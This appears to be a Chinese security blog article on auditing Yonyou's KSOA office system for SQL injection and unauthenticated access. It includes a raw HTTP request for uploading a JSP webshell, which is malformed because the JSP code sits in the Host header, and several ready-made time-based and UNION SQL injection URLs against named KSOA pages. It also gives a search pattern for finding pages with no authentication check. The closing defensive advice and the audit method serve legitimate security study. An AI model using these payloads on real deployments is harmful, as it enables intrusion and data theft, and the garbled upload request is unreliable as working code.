用友ksoa十余处sql注入+审计
字数 1093
更新时间 2025-08-23 01:24:26
用友时空KSOA系统SQL注入漏洞审计与分析
1. 系统概述
用友时空OA(KSOA)是用友公司开发的一款经典OA产品,采用JSP+Servlet架构模式,而非现代Java框架。该系统在企业中应用较广,存在多处安全漏洞。
2. 初始访问方法
2.1 文件上传漏洞利用
通过以下方式可上传Webshell:
POST /servlet/com.sksoft.bill.ImageUpload?filepath=/&filename=gmtxj.jsp HTTP/1.1
Host: <% out.println("hello"); %>
此漏洞允许攻击者上传任意JSP文件到服务器,获取系统控制权并下载源码。
3. 路由分析技巧
KSOA系统采用传统JSP+Servlet模式,审计时可采用以下方法:
- 直接访问JSP文件路径+参数即可调用功能代码
- 无需复杂路由分析,简化了漏洞查找过程
4. 鉴权机制分析
系统采用包含鉴权文件的方式进行权限控制:
- 有鉴权的页面会包含
common.jsp文件 - 无鉴权的页面则缺少此包含
这种设计使得未授权访问检测变得简单,只需检查页面是否包含鉴权文件即可。
5. 静态代码审计方法
5.1 推荐工具
使用Agent Ransack工具进行高效审计,该工具支持:
- 正则表达式匹配
- 字符检测
- 文件路径限定
- 直观的GUI界面
5.2 关键搜索模式
查找未授权访问点的搜索条件:
NOT (<%@ include file="common.jsp"%>) AND NOT (session)
此搜索条件可找出既无鉴权文件包含又无session检查的页面。
6. SQL注入漏洞挖掘
6.1 审计策略
- 在未授权JSP脚本中查找SQL语句
- 重点关注直接拼接用户输入的SQL查询
- 优先检查前台功能(响应更快)
6.2 已公开的SQL注入点
以下是一些已公开的SQL注入路径示例:
-
基于时间盲注:
http://ip:port/xxx/kp/PreviewKPQT.jsp?KPQTID=1&KPQType=db_name(),2,3+--+ http://ip:port/xxx/fillKP.jsp?kp_djbh=1'+IF(LEN(db_name())>4)+WAITFOR%20DELAY%20'0:0:2'+--+ -
基于联合查询:
http://ip:port/xxx/PrintZPYG.jsp?zpjhid=1'+union+select+1,2,db_name(),4,5,6,7,8,9,10,11,12,13,14+--+ http://ip:port/xxx/PrintZPFB.jsp?zpfbbh=1'+union+select+1,2,3,4,db_name()+--+ http://ip:port/xxx/PrintZPZP.jsp?zpshqid=1'+union+select+1,2,db_name(),4,5,6,7,8,9,10,11,12,13+--+
6.3 未公开的SQL注入点
根据分析,系统中还存在十余处未公开的SQL注入漏洞,主要集中在:
- 各种
Print开头的JSP页面 - 涉及单据编号、报表编号等参数
- 使用直接参数拼接的查询
7. 高效审计技巧
- 快速筛选:使用工具快速定位未授权页面
- SQL语句识别:在未授权页面中搜索
Statement、executeQuery等关键词 - 参数追踪:检查用户输入是否未经处理直接拼接到SQL中
- 批量验证:对疑似注入点进行批量测试
8. 防御建议
针对KSOA系统的防护措施:
- 更新到最新版本,应用官方补丁
- 对用户输入进行严格过滤和参数化查询
- 添加全局的权限验证机制
- 限制文件上传类型和路径
- 部署WAF防护SQL注入攻击
9. 总结
用友时空KSOA系统由于采用传统的JSP+Servlet架构和简单的鉴权方式,存在多处安全漏洞。通过系统化的审计方法,可以快速发现SQL注入等安全缺陷。本文介绍的技术不仅适用于KSOA系统,也可应用于类似架构的其他Java Web应用的安全审计。
相似文章
相似文章